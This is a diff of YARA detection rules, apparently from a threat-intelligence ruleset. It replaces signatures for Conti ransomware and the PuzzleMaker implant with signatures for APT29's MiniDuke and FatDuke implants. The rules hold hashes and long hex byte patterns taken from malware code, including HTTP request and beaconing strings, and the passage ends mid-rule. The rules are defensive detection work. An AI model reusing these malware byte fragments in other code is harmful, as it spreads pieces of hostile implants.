+		$s3 = { ef a7 2c 5e 96 b8 84 06 66 b8 9e 54 cb 51 80 f1 66 35 65 69 0a 38 c5 35 7e 62 48 a2 18 c4 2b 76 0f ba 00 07 6a 2e c5 e3 71 66 ac 6d 12 f6 95 99 0b 37 a3 6c d1 5f 64 b3 fb 0e a0 8d f5 d9 f3 24 61 e9 18 c9 d9 6a a5 94 48 d3 5f e2 19 93 5a fe 33 99 e7 91 50 f5 8e 6e 5b 1d 07 1e 21 3c 2e 3c 7c bb 55 9f ad 2e 3c 7c 1f 1f }
+		$s4 = { b1 9a 3c f7 ce 9e 51 79 f2 c4 d9 13 3a a9 ee f0 95 3d fa be 86 ad cd ea d1 90 d4 4e 18 3a 51 58 b4 e9 97 b7 48 e5 62 32 36 5b 6c d8 ae a4 d2 1d b6 92 a7 af 67 15 c5 52 96 44 02 51 58 1c c7 1c a5 2f c3 28 d0 cf 56 10 f1 27 fd 1f 7e b7 9e 30 b5 9c e0 60 02 37 9e 44 4c 62 30 cb 36 2a a6 c4 f3 7c f1 5b 9e 25 73 d5 d4 f4 f0 fd 8a 1d 89 e1 9d 31 4b 59 ce 0c 33 b6 ab 4d 3b 5f a7 69 21 a0 42 11 13 f3 70 9f 27 33 b6 58 e7 38 49 2d 97 18 de bf c3 c2 97 35 4c 65 70 61 6a d7 1c 3e 7e f2 04 7e d1 39 bc a3 ad 5b 1e 51 65 0d 70 a5 4a 55 b3 89 d9 71 c7 1b 77 4f 15 41 0e 0a 09 28 ab 0d 14 43 af 55 f4 6c }
+		$s5 = { 91 42 d1 ed c0 be 73 73 3e 35 8f b4 8e 38 f9 97 ba f9 58 d6 8b 37 a8 82 29 e7 4d 35 ea e2 ba 48 e0 61 b5 a4 f6 d4 4b 90 6a 98 89 fb 81 39 8b 3b 18 de dc 9d b7 36 ec d2 f1 51 56 1a 10 d3 b5 6b b4 95 f9 1e 86 97 9c 71 d5 4b 9a fb 0c 89 ec 3c d4 1d ac 51 34 9f 63 4d 51 59 3c b1 11 7a cd 79 a0 7a d6 43 48 52 d6 9a 4f bb 70 9a f6 3d a5 8d 72 37 9c 5b 66 e8 37 b5 48 25 80 74 e3 c7 46 ae 45 47 8e b4 e5 e8 3a 52 cd d3 87 c1 67 27 d7 62 54 6e 52 86 71 c5 c1 9f 2c ee 31 fa 2e c9 6a 7b a0 60 50 9f 16 17 f9 45 cd d9 b5 00 78 e4 6c 6b b5 f2 8e e1 bd 00 7d 74 c5 a5 45 35 0c dc 79 9c 3d 82 6a 86 92 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >90KB and all of ($seq*)
+		uint32(0)==0x46445025 and filesize >25KB and $x1 and 4 of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Conti_May_2021_2 : FILE
+rule ARKBIRD_SOLG_APT_APT29_Miniduke_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Detect unpacked Conti ransomware (May 2021)"
+		description = "Detect MiniDuke implant used by APT29 group"
 		author = "Arkbird_SOLG"
-		id = "f7580a0d-b94e-560e-a01e-1f0eb0c8833e"
-		date = "2021-05-20"
-		modified = "2021-05-21"
+		id = "2faefc2f-afe3-51df-b530-50d3b3775071"
+		date = "2021-03-08"
+		modified = "2021-03-10"
 		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_2.yara#L1-L20"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_MiniDuke_Mar_2021_1.yar#L1-L20"
 		license_url = "N/A"
-		logic_hash = "d1ec1d2954d0075d9d9ed194bb96a34d457045bfc7a22cb44adb76dee4bc8e41"
-		score = 75
+		logic_hash = "2fcbe37f9ee26a246bfc397cc907bb570a01d0f5b8e323a81aae0f6426b60435"
+		score = 50
 		quality = 75
 		tags = "FILE"
-		hash1 = "Redacted"
-		hash2 = "a5751a46768149c5ddf318fd75afc66b3db28a5b76254ee0d6ae27b21712e266"
-		hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3"
-		hash4 = "ef2cd9ded5532af231e0990feaf2df8fd79dc63f7a677192e17b89ef4adb7dd2"
+		hash1 = "6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1"
+		level = "Experimental"
 
 	strings:
-		$seq1 = { 33 db 3c 2f 74 0a 3c 5c 74 06 3c 3a 8a c3 75 02 b0 01 2b cf 0f b6 c0 41 89 9d 68 fd ff ff f7 d8 89 9d 6c fd ff ff 56 1b c0 89 9d 70 fd ff ff 23 c1 89 9d 74 fd ff ff 89 85 88 fd ff ff 89 9d 78 fd ff ff 88 9d 7c fd ff ff e8 [4] 50 8d 85 68 fd ff ff 50 57 e8 68 fc ff ff 83 c4 0c 8d 8d ac fd ff ff f7 d8 1b c0 53 53 53 51 f7 d0 23 85 70 fd ff ff 53 50 ff 15 [4] 8b f0 83 fe ff 75 18 ff b5 a4 fd ff ff 53 53 57 e8 42 fe ff ff 83 c4 10 8b d8 e9 1c 01 00 00 8b 85 a4 fd ff ff 8b 48 04 2b 08 c1 f9 02 89 8d 84 fd ff ff 89 9d 8c fd ff ff 89 9d 90 fd ff ff 89 9d 94 fd ff ff 89 9d 98 fd ff ff 89 9d 9c fd ff ff 88 9d a0 fd ff ff e8 [4] 50 8d 85 ab fd ff ff 50 8d 85 8c fd ff ff 50 8d 85 d8 fd ff ff 50 e8 01 fb ff ff 83 c4 10 f7 d8 1b c0 f7 d0 23 85 94 fd ff ff 80 }
-		$seq2 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 [2] ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 [4] 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b c8 74 34 68 [4] 2b c1 6a 04 50 8d 04 8a 50 e8 [2] 00 00 83 c4 10 eb 1c 38 9d a0 fd ff ff 74 12 ff b5 94 fd ff ff e8 [2] ff ff 8b 85 80 fd ff ff 59 8b d8 56 ff 15 [4] 80 bd 7c fd ff ff 00 5e 74 0c ff b5 70 fd ff ff e8 [2] ff ff 59 8b }
-		$seq3 = { 6a 0c 68 [4] e8 [2] ff ff 33 f6 89 75 e4 8b 45 08 ff 30 e8 [2] ff ff 59 89 75 fc 8b 45 0c 8b 00 8b 38 8b d7 c1 fa 06 8b c7 83 e0 3f 6b c8 38 8b 04 95 [4] f6 44 08 28 01 74 21 57 e8 [2] ff ff 59 50 ff 15 [4] 85 c0 75 1d e8 [2] ff ff 8b f0 ff 15 [4] 89 06 e8 [2] ff ff c7 00 09 00 00 00 83 ce ff 89 75 e4 c7 45 fc fe ff ff ff e8 0d 00 00 00 8b c6 e8 [2] ff }
-		$seq4 = { 8b ff 55 8b ec 56 6a 00 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 85 f6 75 2d ff 15 [4] 83 f8 06 75 22 e8 b6 ff ff ff e8 73 ff ff ff 56 ff 75 10 ff 75 0c ff 75 08 ff 35 [4] ff 15 [4] 8b f0 8b c6 5e }
-		$seq5 = { 55 8b ec 81 ec b4 09 00 00 a1 08 [3] 33 c5 89 45 fc 53 56 57 6a ?? 68 [4] ba 18 00 00 00 33 c9 e8 [2] ff ff 83 c4 08 6a 00 6a 00 ff d0 8b f0 85 f6 0f 88 9a 03 00 00 c7 85 8c f7 ff ff [3] 00 bb 03 00 00 00 8b 85 8c f7 ff ff 99 f7 fb 8b 85 8c f7 ff ff 8d 7b 02 85 d2 74 57 83 c0 02 03 c6 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 0f 85 64 01 00 00 66 66 0f 1f 84 00 00 00 00 00 8b 85 8c f7 ff ff 40 89 85 8c f7 ff ff 8b 85 8c f7 ff ff 25 03 00 00 80 79 07 48 83 c8 fc 83 c0 01 74 dd e9 32 01 00 00 25 01 00 00 80 79 07 48 83 c8 fe 83 c0 01 74 47 b8 02 00 00 00 2b }
-		$seq6 = { 83 3b 00 c7 45 94 00 00 00 00 0f 86 57 02 00 00 8b 35 b4 21 41 00 8d 4b 14 8b 3d c8 21 41 00 8b 1d 9c 21 41 00 89 4d 90 c7 45 98 7f 00 00 00 89 b5 7c ff ff ff 89 bd 78 ff ff ff 89 5d 9c 0f 1f 40 00 8b 11 8d 45 d0 89 55 cc b9 2c 00 00 00 0f 1f 00 c6 00 00 8d 40 01 83 e9 01 75 f5 52 ff d6 8b f0 ff d7 c6 45 b4 00 bf 7f 00 00 00 c6 45 b5 42 c6 45 b6 31 c6 45 b7 2a c6 45 b8 0b c6 45 b9 63 8a 4d b5 80 7d b4 00 75 28 33 c9 66 0f 1f 44 00 00 8a 44 0d b5 0f b6 c0 83 e8 63 6b c0 25 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d b5 41 83 f9 05 72 e0 8d 45 b5 50 56 ff d3 c6 45 a0 00 c6 45 a1 51 c6 45 a2 1f c6 45 a3 2b c6 45 a4 44 c6 45 a5 51 c6 45 a6 12 c6 45 a7 45 c6 45 a8 44 c6 45 a9 26 89 45 84 8a 45 a1 80 7d a0 00 75 27 33 c9 0f 1f 00 8a 44 0d a1 0f b6 c0 83 e8 26 8d 04 80 03 c0 99 f7 ff 8d 42 7f 99 f7 ff 88 54 0d a1 41 83 f9 09 72 de 8d 45 a1 50 56 ff d3 c6 45 bc 00 8b d8 c6 45 bd 42 c6 45 be 19 c6 45 bf 46 c6 45 c0 59 8a 4d bd 80 7d bc 00 89 5d 88 75 2c 33 ff 8d 5f 7f 8a 44 3d bd 0f b6 c8 83 e9 59 8b c1 c1 e0 05 2b c1 99 f7 fb 8d 42 7f 99 f7 fb 88 54 3d bd 47 83 ff 04 72 dc 8b 5d 88 8d 45 bd 50 56 ff 55 9c c6 45 ac 00 8b f8 c6 45 ad 76 c6 45 ae 30 c6 45 af 06 c6 45 b0 21 c6 45 b1 2a 8a 4d ad 80 7d ac 00 75 24 33 c9 8a 44 0d ad 0f b6 c0 83 e8 2a 8d 04 c0 99 f7 7d 98 8d 42 7f 99 f7 7d 98 88 54 0d ad 41 83 f9 05 72 de 8d 45 ad 50 56 ff 55 9c }
+		$s1 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 00 00 00 00 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 25 73 }
+		$s2 = { 70 72 6f 63 3a 20 20 25 64 20 25 73 0a 6c 6f 67 69 6e 3a 20 25 73 5c 25 73 0a 49 44 3a 20 20 20 20 30 78 25 30 38 58 0a 68 6f 73 74 3a 20 20 25 73 3a 25 64 0a 6d 65 74 68 3a 20 20 25 73 20 25 64 0a 70 69 70 65 3a 20 5c 5c 25 73 5c 70 69 70 65 5c 25 73 0a 6c 61 6e 67 3a 20 20 25 73 0a 64 65 6c 61 79 3a 20 25 64 }
+		$s3 = { 75 70 74 69 6d 65 20 25 35 64 2e 25 30 32 64 68 0a 00 25 73 3a 25 64 00 25 73 5c 25 73 00 3f 00 25 64 20 25 73 0a 25 73 20 25 73 20 25 73 }
+		$s4 = { 55 89 e5 83 ec 14 6a 02 ff 15 b8 53 44 00 e8 fd fe ff ff 8d b6 00 00 00 00 8d bc 27 00 00 00 00 55 89 e5 83 ec 14 6a 01 ff 15 }
+		$s5 = { 8b 85 54 64 ff ff 8b 95 44 64 ff ff 83 c2 44 89 44 24 04 89 14 24 e8 a4 e5 fc ff 83 ec 08 8b 85 44 64 ff ff 83 c0 38 c7 44 24 08 0c 00 00 00 c7 44 24 04 00 00 00 00 89 04 24 e8 8c e8 fd ff 8b 85 44 64 ff ff c7 40 38 0c 00 00 00 8b 85 44 64 ff ff c7 40 40 01 00 00 00 8b 85 44 64 ff ff c7 40 3c 00 00 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 1c 8b 85 44 64 ff ff 83 c0 18 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 2e e5 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 0f 84 09 05 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 24 8b 85 44 64 ff ff 83 c0 20 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 eb e4 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and 5 of ($seq*)
+		uint16(0)==0x5a4d and filesize >150KB and 3 of them
 }
-rule ARKBIRD_SOLG_APT_Puzzlemaker_Implant_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_APT29_Fatduke_Mar_2021_1 : FILE
 {
 	meta:
-		description = "Detect the implant of the PuzzleMaker group"
+		description = "Detect Fatduke implant used by APT29 group"
 		author = "Arkbird_SOLG"
-		id = "9387130c-4474-55bf-9736-09494a5e81b8"
-		date = "2021-06-10"
-		modified = "2021-11-01"
-		reference = "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-09/PuzzleMaker/APT_PuzzleMaker_Implant_Jun_2021_1.yara#L1-L21"
+		id = "aed6d6f0-1baf-5842-8ced-e07f213ef1ff"
+		date = "2021-03-08"
+		modified = "2021-03-10"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_Fatduke_Mar_2021_1.yar#L1-L25"
 		license_url = "N/A"
-		logic_hash = "e54eaaa76b2d370a27a232dee2299266f8b3b82d53da36e35c2a6fcdd7d5b1f7"
-		score = 75
-		quality = 75
+		logic_hash = "2aec00355b14ec81f577527d3eba1f682ce96cc9e6ac7727b3865ddf01ddf69a"
+		score = 50
+		quality = 67
 		tags = "FILE"
-		hash1 = "8a17279ba26c8fbe6966ea3300fdefb1adae1b3ed68f76a7fc81413bd8c1a5f6"
-		hash2 = "1ee9bb4e8bcabe197399b654dbf940438b120af1c376719ff9bdccf2bb1dc606"
-		hash3 = "f2ce2a00de8673f52d37911f3e0752b8dfab751b2a17e719a565b4083455528e"
-		tlp = "White"
-		adversary = "PuzzleMaker"
+		hash1 = "0be57d1244fefc679feb7aa9996e539481be7b8f4c9246817f81caa8c2f61a57"
+		level = "Experimental"
 
 	strings:
-		$s1 = { 4c 8d 4c 24 5c 49 8b ce 48 8d 95 c0 00 00 00 ff 15 21 01 04 00 85 c0 74 28 4c 8d 4c 24 58 4c 89 64 24 20 41 b8 00 04 00 00 48 8d 95 c0 04 00 00 49 8b cf ff 15 b5 fe 03 00 85 c0 0f 85 25 ff ff ff ff 15 77 fe 03 00 8b }
-		$s2 = { 40 55 53 56 41 55 41 57 48 8d ac 24 a0 fe ff ff 48 81 ec 60 02 00 00 48 8b 05 5a 1c 03 00 48 33 c4 48 89 85 30 01 00 00 48 8b 85 b0 01 00 00 4c 8b f9 48 8b b1 b8 00 00 00 4c 8b ad c8 01 00 00 48 83 c6 07 48 89 44 24 60 48 8b 85 d0 01 00 00 48 89 45 98 8b 85 c0 01 00 00 83 c0 fd 48 c1 ee 03 4c 89 4d 80 4c 89 45 88 48 89 55 90 83 f8 06 0f 87 84 03 00 00 48 8d 15 f3 6b fd ff 48 98 8b 8c 82 b0 97 02 00 48 }
-		$s3 = { 48 8d 1d 98 3d 02 00 0f 57 c0 48 89 bc 24 58 02 00 00 33 c0 c7 44 24 68 01 00 00 00 0f 11 85 80 00 00 00 4c 8b c6 c7 85 8c 00 00 00 10 27 00 00 48 8d 95 a0 00 00 00 48 89 44 24 70 49 8b c9 48 89 44 24 78 0f 11 45 20 0f 11 45 30 0f 11 45 40 0f 11 45 50 0f 11 45 60 0f 11 45 70 0f 11 85 90 00 00 00 e8 57 58 fe ff 8b f8 85 c0 0f 85 62 02 00 00 49 8b 87 b8 00 00 00 48 8d 4c 24 68 48 8b 54 24 60 48 83 c0 07 48 c1 e8 03 4c 89 a4 24 50 02 00 00 4c 8b a5 b8 01 00 00 4c 3b e0 4c 89 b4 24 48 02 00 00 4d 8b f4 4c 0f 47 f0 4d 8b c6 e8 1b 57 fe ff 8b f8 85 c0 75 54 49 8b 87 b8 00 00 00 4a 8d 14 f5 00 00 00 00 48 }
-		$s4 = { 85 ff 0f 85 cd 01 00 00 48 8b 4d 90 48 8d 45 a0 48 89 44 24 50 45 33 c9 48 8d 45 d0 4d 8b c7 48 89 44 24 48 33 d2 4c 89 64 24 40 4c 89 64 24 38 c7 44 24 30 00 00 00 08 c7 44 24 28 01 00 00 00 4c 89 64 24 20 ff 15 62 1c 04 00 85 c0 75 3a ff 15 38 1d 04 00 44 8b c3 48 8b ce 8b d0 8b f8 e8 d1 09 00 00 48 8b 4d 80 ff 15 07 1d 04 00 48 8b 4d 88 ff 15 fd 1c 04 00 48 8b 4d 90 ff 15 f3 1c 04 00 }
-		$s5 = { 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 ec 28 02 00 00 48 8b 05 5d 0a 04 00 48 33 c4 48 89 84 24 10 02 00 00 48 8b ac 24 90 02 00 00 0f 57 c0 4c 8b ac 24 98 02 00 00 33 db 45 32 e4 4c 89 4c 24 58 4c 89 44 24 70 49 8b f9 48 89 6c 24 68 4d 8b c8 4c 89 6c 24 60 4c 8b fa 48 8b f1 44 8b f3 0f 11 84 24 e0 00 00 00 c7 84 24 ec 00 00 00 10 27 00 00 0f 11 84 24 80 00 00 00 0f 11 84 24 90 00 00 00 0f 11 84 24 a0 00 00 00 0f 11 84 24 b0 00 00 00 0f 11 84 24 c0 00 00 00 0f 11 84 24 d0 00 00 00 0f 11 84 24 f0 00 00 00 48 85 ed 75 47 4c 8b 81 b8 00 00 00 48 8d 05 a1 c2 ff ff 48 89 44 24 68 48 8d 8c 24 80 00 00 00 49 83 c0 07 48 8d 84 24 80 00 00 00 49 c1 e8 03 49 8b d1 48 89 44 24 60 e8 87 c2 ff ff 8b f8 85 c0 0f 85 ee 01 00 00 48 8b 7c 24 58 48 8d 56 68 48 8d 4f 18 e8 7b 4a ff ff 85 c0 75 15 48 8d 56 50 48 8b cf e8 6b 4a ff ff 85 c0 75 05 40 b5 }
-		$s6 = { 41 b9 01 00 00 00 c7 44 24 20 00 00 00 f0 45 33 c0 48 8d 4c 24 60 33 d2 ff 15 11 06 04 00 85 c0 74 28 48 8b 4c 24 60 4c 8d 85 b0 00 00 00 ba 20 00 00 00 ff 15 ee 05 04 00 48 8b 4c 24 60 33 d2 85 }
+		$seq1 = { 5b 8d 8d 5c ff ff ff c7 85 5c ff ff ff 48 74 74 70 51 8d 85 6c ff ff ff c7 85 60 ff ff ff 4f 70 65 6e 50 51 8d 8d 14 fc ff ff c7 85 64 ff ff ff 52 65 71 75 c7 85 68 ff ff ff 65 73 74 57 e8 ce 7b f2 ff c6 45 fc 33 83 78 14 10 72 02 8b 00 50 8d 8d 90 fc ff ff e8 16 7b f2 ff c6 45 fc 34 8d 85 90 fc ff ff 50 8d 85 80 fb ff ff 8b cb 50 e8 bd 74 00 00 8b f0 c6 45 fc 35 8d 87 d0 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 d0 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 c3 2e f6 ff c6 45 fc 34 8d 8d 80 fb ff ff e8 a4 7e f2 ff c6 45 fc 33 83 bd a4 fc ff ff 10 72 0e ff b5 90 fc ff ff e8 71 0d 17 00 83 c4 04 c7 85 a4 fc ff ff 0f 00 00 00 c7 85 a0 fc ff ff 00 00 00 00 c6 85 90 fc ff ff 00 c6 45 fc 1b 83 bd 28 fc ff ff 10 72 0e ff b5 14 fc ff ff e8 3b 0d 17 00 83 c4 04 c7 85 28 fc ff ff 0f 00 00 00 c7 85 24 fc ff ff 00 00 00 00 c6 85 14 fc ff ff 00 57 bf 0b 3b 0e 02 31 cf 21 d7 21 ff bf 2b 34 81 13 21 c7 09 cf 5f 56 be 22 0c d2 00 be 80 41 78 6d 31 e6 21 ee be 55 13 41 71 90 5e 8d 8d 1c ff ff ff c7 85 1c ff ff ff 48 74 74 70 51 8d 85 32 ff ff ff c7 85 20 ff ff ff 41 64 64 52 50 51 8d 8d 2c fc ff ff c7 85 24 ff ff ff 65 71 75 65 c7 85 28 ff ff ff 73 74 48 65 c7 85 2c ff ff ff 61 64 65 72 66 c7 85 30 ff ff ff 73 57 e8 67 7a f2 ff c6 45 fc 36 83 78 14 10 72 02 8b 00 50 8d 8d 38 fd ff ff e8 af 79 f2 ff c6 45 fc 37 8d 85 38 fd ff ff 50 8d 85 c8 fb ff ff 8b cb 50 e8 36 b1 ff ff 8b f0 c6 45 fc 38 8d 87 e8 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 e8 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 5c 2d f6 ff c6 45 fc 37 8d 8d c8 fb ff ff e8 3d 7d f2 ff c6 45 fc 36 83 bd 4c fd ff ff 10 72 0e ff b5 38 fd ff ff e8 0a 0c 17 00 83 c4 04 c7 85 4c fd ff ff 0f 00 00 00 c7 85 48 fd ff ff 00 00 00 00 c6 85 38 fd ff ff 00 c6 45 fc 1b 83 bd 40 fc ff ff 10 72 0e ff b5 2c fc ff ff e8 d4 0b 17 00 83 c4 04 c7 85 40 fc ff ff 0f 00 00 00 c7 85 3c fc ff ff 00 00 00 00 c6 85 2c fc ff ff 00 50 b8 dc 4d a8 4d b8 4f 50 97 15 b8 97 55 f0 68 01 c0 01 e8 90 58 50 b8 e6 6f 71 3c 21 e0 21 e8 21 f0 21 c0 31 f0 b8 fa 02 db 55 58 8d 8d 7c ff ff ff c7 85 7c ff ff ff 48 74 74 70 51 8d 45 8c c7 45 80 53 65 6e 64 50 51 8d 8d 60 fc ff ff c7 45 84 52 65 71 75 c7 45 88 65 73 74 57 e8 1f 79 f2 ff c6 45 fc 39 83 78 14 10 72 02 8b 00 50 8d 8d 08 fd ff ff e8 67 78 f2 ff c6 45 fc 3a 8d 85 08 fd ff ff 50 8d 85 f8 fb ff ff 8b cb 50 e8 4e 75 00 00 8b f0 c6 45 fc 3b 8d 87 00 01 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 00 01 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 14 2c f6 ff c6 45 fc 3a 8d 8d f8 fb ff ff e8 f5 7b f2 ff c6 45 fc 39 83 bd 1c fd ff ff 10 72 0e ff b5 08 fd ff ff e8 c2 0a 17 00 83 c4 04 c7 85 1c fd ff ff 0f 00 00 00 c7 85 18 fd ff ff 00 00 00 00 c6 85 08 fd ff ff 00 c6 45 fc 1b 83 bd 74 fc ff ff 10 72 0e ff b5 60 fc ff ff e8 8c 0a 17 00 83 c4 04 c7 85 74 fc ff ff 0f 00 00 00 c7 85 70 fc ff ff 00 00 00 00 c6 85 60 fc ff ff 00 50 01 c8 21 f8 b8 f5 2f 8f 4d 01 e8 09 d0 01 c0 b8 4e 35 2f 2a 58 52 ba 6d 65 6b 13 01 fa 09 da 31 c2 09 da ba c9 1d 51 12 31 c2 5a 8d 4d 9c c7 45 9c 48 74 74 70 51 8d 45 aa c7 45 a0 51 75 65 72 50 51 8d 8d 48 fc ff ff c7 45 a4 79 49 6e 66 66 c7 45 a8 6f 57 e8 de 77 f2 ff c6 45 fc 3c 83 78 14 10 72 02 8b 00 50 8d 8d 50 fd ff ff e8 26 77 f2 ff c6 45 fc 3d 8d 85 50 fd ff ff 50 8d 85 98 fb ff ff 8b cb 50 e8 4d 77 00 00 8b f0 c6 45 fc 3e 8d 9f 18 01 00 00 3b de 74 24 8b 4b 10 85 c9 74 15 8b 11 3b cb 0f 95 c0 0f b6 c0 50 ff 52 10 c7 43 10 00 00 00 00 56 8b cb e8 d9 2a f6 ff c6 45 fc 3d 8d 8d 98 fb ff ff e8 ba 7a f2 ff c6 45 fc 3c 83 bd 64 fd ff ff 10 72 0e ff b5 50 fd ff ff e8 87 09 17 00 83 c4 04 c7 85 64 fd ff ff 0f 00 00 00 c7 85 60 fd ff ff 00 00 00 00 c6 85 50 fd ff ff 00 c6 45 fc 1b 83 bd 5c fc ff ff 10 72 0e ff b5 48 fc ff ff e8 51 09 17 00 83 c4 04 c7 85 5c fc ff ff 0f 00 00 00 c7 85 58 fc ff ff 00 00 00 00 c6 85 48 fc ff ff 00 56 01 d6 19 ee be ed 3e 23 0c 01 fe 21 e6 be db 1f 20 70 31 e6 5e 57 29 c7 bf 8d 30 ff 05 bf 4e 30 f9 71 19 f7 29 f7 31 ff 09 ef 5f 68 b8 b3 2b 10 8d 8d d8 fc ff ff e8 22 76 f2 ff c6 45 fc 3f 8d 8d d8 fc ff ff e8 f3 e5 f3 ff 8b f0 c6 45 fc 1b 83 bd ec fc ff ff 10 72 0e ff b5 d8 fc ff ff e8 ce 08 17 00 83 c4 04 c7 85 ec fc ff ff 0f 00 00 00 c7 85 e8 fc ff ff 00 00 00 00 c6 85 d8 fc ff ff 00 52 ba 13 63 67 6d ba 64 19 d5 47 ba 08 52 da 36 01 ea 29 f2 90 5a 55 bd 53 0d b6 39 bd 54 64 02 7d bd 29 00 37 0f 09 d5 31 c5 90 5d 8d 45 c0 8b ce 50 e8 f4 f0 f4 ff c6 45 fc 40 52 29 c2 ba a5 19 33 0c 19 ea 31 e2 01 c2 ba 3c 66 39 43 29 ca 5a 52 ba f7 42 4e 7a 09 d2 19 c2 19 e2 01 e2 21 ca 01 ca 01 da 90 5a 8d 45 d8 8b ce 50 e8 c9 fa f4 ff c6 45 fc 41 57 01 df 09 d7 bf 16 71 1b 6c bf 80 30 fd 65 01 ff 19 f7 21 ef 5f 50 29 e8 b8 6d 44 90 22 01 e8 21 c8 b8 17 5e 05 78 09 f0 01 e8 58 83 7d d0 00 76 5b 83 7d d4 08 8b 45 c0 73 03 8d 45 c0 83 7d ec 08 8b 4d d8 73 03 8d 4d d8 83 ec 08 50 6a 03 51 8d 4f 40 e8 3c 87 ff ff 89 87 a0 04 00 00 52 31 e2 01 e2 ba b7 14 98 25 01 ca ba 2f 1e d7 1b 19 f2 29 d2 5a 57 bf 75 4c a1 10 bf dc 04 47 09 01 d7 bf 9e 5f 9a 0e 01 e7 90 5f eb 4e 83 7d ec 08 8b 45 d8 73 03 8d 45 d8 83 ec 08 8d 4f 40 6a 00 6a 01 50 e8 ec 86 ff ff 89 87 a0 04 00 00 53 bb ea 4a 79 17 21 eb 31 db bb b9 2c e1 4c 09 d3 21 eb 19 c3 5b 51 b9 91 6c 71 6d b9 64 25 d3 02 19 c1 19 c1 31 e1 29 f1 29 d9 59 83 bf a0 04 00 00 00 0f 85 a6 00 00 00 8d 8d e4 fe ff ff c7 85 e4 fe ff ff 43 61 6e 6e 51 8d 85 00 ff ff ff c7 85 e8 fe ff ff 6f 74 20 70 50 51 8d 8d 68 fb ff ff c7 85 ec fe ff ff 65 72 66 6f c7 85 f0 fe ff ff 72 6d 20 49 c7 85 f4 fe ff ff 6e 74 65 72 c7 85 f8 fe ff ff 6e 65 74 4f c7 85 fc fe ff ff 70 65 6e 21 e8 bd 74 f2 ff c6 45 fc 42 83 78 14 10 }
+		$seq2 = { 59 52 29 d2 ba 02 4d d2 52 ba 5f 54 50 4f 29 ea 29 c2 01 ea 01 e2 5a 56 21 ee 01 ee be 38 36 21 60 31 f6 19 ce 29 d6 be 13 6c 2d 6f 5e 85 c0 0f 85 0a 02 00 00 8d 8d 1c fe ff ff c7 85 1c fe ff ff 43 61 6e 6e 51 8d 85 5e fe ff ff c7 85 20 fe ff ff 6f 74 20 69 50 51 8d 8d c4 f7 ff ff c7 85 24 fe ff ff 6e 69 74 69 c7 85 28 fe ff ff 61 6c 69 7a c7 85 2c fe ff ff 65 20 73 69 c7 85 30 fe ff ff 67 6e 65 72 c7 85 34 fe ff ff 21 20 43 61 c7 85 38 fe ff ff 6e 6e 6f 74 c7 85 3c fe ff ff 20 70 65 72 c7 85 40 fe ff ff 66 6f 72 6d c7 85 44 fe ff ff 20 43 72 79 c7 85 48 fe ff ff 70 74 41 63 c7 85 4c fe ff ff 71 75 69 72 c7 85 50 fe ff ff 65 43 6f 6e c7 85 54 fe ff ff 74 65 78 74 c7 85 58 fe ff ff 20 65 72 72 66 c7 85 5c fe ff ff 6f 72 e8 93 5b f1 ff c6 45 fc 46 83 78 14 10 72 02 8b 00 50 8d 8d f0 f9 ff ff e8 db 5a f1 ff c6 45 fc 47 ff d3 50 8d 85 f0 f9 ff ff 50 8d 8d 78 f8 ff ff e8 c2 e3 f8 ff 68 d4 4f 2e 10 8d 85 78 f8 ff ff 50 e8 3c 31 